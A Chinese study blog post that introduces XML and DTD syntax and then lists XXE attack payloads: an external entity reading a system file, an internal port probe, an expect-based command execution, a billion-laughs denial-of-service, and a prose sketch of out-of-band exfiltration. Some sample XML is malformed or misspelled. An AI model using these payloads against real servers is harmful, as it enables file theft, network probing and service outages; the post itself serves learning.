XXE学习


极客的XXE题真的给我整懵了
整好面试结束了也能不用忙着赶进度了(真实)

XML学习

XML介绍

XXE怎么说也是基于XML的嘛,先对XML做一个大致学习。

XML是指可扩展标记语言(Extensible Markup Language)用于传输和存储数据。XML的标签及内容允许作者自己定义,是独立于软件和硬件信息传输工具。

而同为标记语言的HTML则是用来显示数据

XML 应用于 web 开发的许多方面,常用于简化数据的存储和共享。
比如一个个人博客,总不能每次需要添加文章的时候都去修改html源文件吧。为了实现动态显示,可以通过js脚本去读取外部XML文件以达到更新网页的目的。所以说用XML进行数据传输是非常方便的,这也就是为什么网站要用XML传输数据的原因

XML的语法规则

  • XML 文档必须有一个根元素
  • XML 元素都必须有一个关闭标签
  • XML 标签对大小敏感
  • XML 元素必须被正确的嵌套
  • XML 属性值必须加引导
<?xml version="1.0" encoding="UTF-8" >  <!--XML 声明-->
<girl age="18">  <!--自定的根元素girl;age属性需要加引导-->
<hair>长头发</hair>  <!--自定义的4个子元素,即girl对象的属性-->
<eye>大眼睛</eye>
<face>可爱的脸庞</face>
<summary>可爱美丽的女孩</summary>
</girl>  <!--根元素的闭合-->

结构即为上面所示
第一行是XML声明,定义了XML的版本和所用的编码
<?xml version="1.0" encoding="UTF-8" >
下一行是根元素
<girl age="18">
再下方就是子元素
<eye>大眼睛</eye>
<face>可爱的脸庞</face>
<summary>可爱美丽的女孩</summary>
最后一行定义根元素的结尾
</girl>

一些字符的实体引用

  • &lt; = <
  • &gt = >
  • &amp = &
  • &quot = “
  • &apos = ‘

    DTD的使用

DTD(文档类型定义)的作用是定义XML文档的的合法构建模块,它使用一系列的合法元素来定义文档结构,可以被成行的声明于XML文档中,也可做为一个外部引用。直接引用一个例子,如:

<!--XML声明-->
<?xml version="1.0"?> 
<!--文档类型定义-->
<!DOCTYPE note [    <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)>  <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)>     <!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)>   <!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)>   <!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)>   <!--定义body元素为”#PCDATA”类型-->
]]]>
<!--文档元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>

以上 DTD 解释如下:

  • !DOCTYPE note (第二行)定义此文档是 note 类型的文档。

  • !ELEMENT note (第三行)定义 note 元素有四个元素:”to、from、heading,、body”

  • !ELEMENT to (第四行)定义 to 元素为 “#PCDATA” 类型

  • !ELEMENT from (第五行)定义 from 元素为 “#PCDATA” 类型

  • !ELEMENT heading (第六行)定义 heading 元素为 “#PCDATA” 类型

  • !ELEMENT body (第七行)定义 body 元素为 “#PCDATA” 类型

<!DOCTYPE 根元素 [元素声明]> 为内部的DOCTYPE声明
<!DOCTYPE 根元素 SYSTEM "文件名"> 为外部文档声明
如果DTD在XML文档内部,则使用内部声明。如在外部,则需要使用外部声明进行包含

<!ELEMENT 元素名称 类别><!ELEMENT 元素名称 (元素内容)>为元素声明

PCDATA的意思是被解析的字符数据。

声明规则是

  • 空元素通过类别关键字EMPTY进行声明
    <!ELEMENT 元素名称 EMPTY>
  • 只有PCDATA的元素用(#PCDATA)进行声明
    <!ELEMENT 元素名称 (#PCDATA)>
  • 带有任何内容的元素通过ANY进行声明
    <!ELEMENT 元素名称 ANY>
  • 带有子元素的元素通过圆括号中子元素进行声明,子元素必须按照主元素声明中的顺序出现,且子元素也必须被声明,子元素也可以拥有子元素。
    <!ELEMENT 元素名称 (子元素名称 1,子元素名称 2,.....)>
  • 声明只出现一次的元素 <!ELEMENT 元素名称 (子元素名称)>
  • 声明最少出现一次的元素 <!ELEMENT 元素名称 (子元素名称+)>
  • 声明出现零次或多次的元素 <!ELEMENT 元素名称 (子元素名称*)>
  • 声明出现零次或一次的元素 <!ELEMENT 元素名称 (子元素名称?)>
  • 声明非什么即什么的类容,即以下例子主元素中需要出现message或者body中的一个 <!ELEMENT 元素名称 (to,from,header,(message|body))>
  • 声明混合型内容,和上面一条类似 <!ELEMENT 元素名称 (#PCDATA|to|from|header|message)*>

XXE攻击

XXE攻击思路及实例

XXE的攻击思路主要是利用DTD用用外部实体导致的漏洞,譬如任意文件读取。

<?xml version="1.0"?>
<!DOCTYPE hack [
<!ENTITY xxe SYSTEM "file:///etc/password">
]>

<hack>&xxe;</hack>

这段代码即是将 file:///etc/password 的内容赋值给外部实体xxe
如果<hack>标签能够回显,则会显示 file:///etc/password 中的内容。

又譬如内网扫描

<?xml version="1.0"?>
<!DOCTYPE hack [
<!ENTITY xxe SYSTEM "http://127.0.0.1:80">
]>

<hack>&xxe;</hack>

这段代码是利用返回的报错信息去判断是否xml获取了相关的数据流,以此判断该端口是否开放。

在对方php安装了expect扩展的情况下,还可以进行命令执行,具体代码如下

<?xml version = "1.0"?>
<!DOCTYPE ANY [
    <!ENTITY f SYSTEM "except://ls">
]>
<x>&f;</x>

这段代码是利用expect扩展进行命令执行。原理还没了解过…先搁这儿放着

再比如DDOS

<?xml version="1.0"?>
 <!DOCTYPE lolz [
 <!ENTITY lol "lol">
 <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
 <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
 <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
 <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
 <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
 <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
 <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
 ]>
 <lolz>&lol9;</lolz>

上述代码是在内存中生成十亿个”lol”的ddos攻击。(也没有复现…怕炸- -)

当没有回显时,还可通过构建带外通道oob,将回显结果回显在自己服务器下。
原理有点懵,也没复现成功…就大致讲下流程,问完师傅再来补充
通过xxe注入,从自己服务器下读取恶意dtd文件,然后执行dtd文件中payload读取想要读取的文件,再带着回显内容返回自己服务器下,完成攻击。